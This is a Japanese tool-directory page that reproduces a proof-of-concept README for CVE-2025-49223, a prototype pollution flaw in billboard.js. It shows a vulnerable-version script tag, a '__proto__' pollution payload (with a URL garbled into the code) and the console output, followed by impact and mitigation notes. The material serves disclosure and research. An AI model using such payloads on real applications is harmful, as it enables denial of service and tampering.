Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-49223-BillboardJS-PoC — CVE-2025-49223 - Billboard.js における プロトタイプ汚染 | Kitploit
ツール/GitHubGitHub/louay-075/cve-2025-49223-billboardjs-poc
脆弱性分析エクスプロイトウェブセキュリティ論文と研究学習と教育
GitHublouay-075/cve-2025-49223-billboardjs-poc

CVE-2025-49223-BillboardJS-PoC

CVE-2025-49223 - Billboard.js における プロトタイプ汚染

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
111年前未レビュー

💥 CVE-2025-49223 - Billboard.js におけるプロトタイプ汚染

billboard.js 3.15.1 より前のバージョンにおいて、関数 generate を介したプロトタイプ汚染が発見されました。攻撃者は任意のプロパティを注入することで、任意のコードを実行したり、サービス拒否 (DoS) を引き起こしたりする可能性があります。

このリポジトリは、billboard.js の 3.15.1 より前 のバージョンで発見された プロトタイプ汚染の脆弱性 を実証するものであり、CVE-2025-49223 として開示されています。


📌 概要

  • 脆弱性タイプ: プロトタイプ汚染
  • 影響を受けるライブラリ: billboard.js
  • 影響を受けるバージョン: <= 3.14.0
  • 修正バージョン: >= 3.15.1
  • CVE ID: CVE-2025-49223
  • 影響: 任意のコードの実行またはサービス拒否 (DoS) の引き起こし

🧪 概念実証 (PoC)

ブラウザで index.html を開き、コンソールログでプロトタイプ汚染の試行を確認してください。

脆弱なバージョンを読み込む:

root@kitploit:~
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/billboard.pkgd.min.js"></script>

汚染の試行:

root@kitploit:~
{
  ["__proto__"]: https://raw.githubusercontent.com/louay-075/cve-2025-49223-billboardjs-poc/HEAD/%7B
    polluted: "polluted_via_string_key"
  }
}

コンソール出力:

root@kitploit:~
🔥 string key '__proto__' -> POLLUTED! Value: polluted_via_string_key

これにより、攻撃者が Object.prototype を汚染し、ページ全体で今後作成されるあらゆるオブジェクトに影響を与える可能性があることが確認されます。


🔥 影響

悪用に成功すると、以下が発生する可能性があります:

  • すべてのオブジェクトへの任意のキーの注入
  • チャートレンダリングロジックの改ざん
  • アプリケーションのクラッシュ (DoS)
  • 安全でないオブジェクトマージに依存するアプリケーションにおけるセキュリティバイパスの可能性


🛡️ 緩和策

  • ✅ billboard.js をバージョン 3.15.1 以降 にアップグレードしてください

🧱 参考文献

  • 🔗 NVD の CVE-2025-49223
  • 🔗 Billboard.js 3.15.1 リリースノート


⚠️ 免責事項: この PoC は教育および研究目的のみであり、責任を持って使用してください。

ツールをダウンロード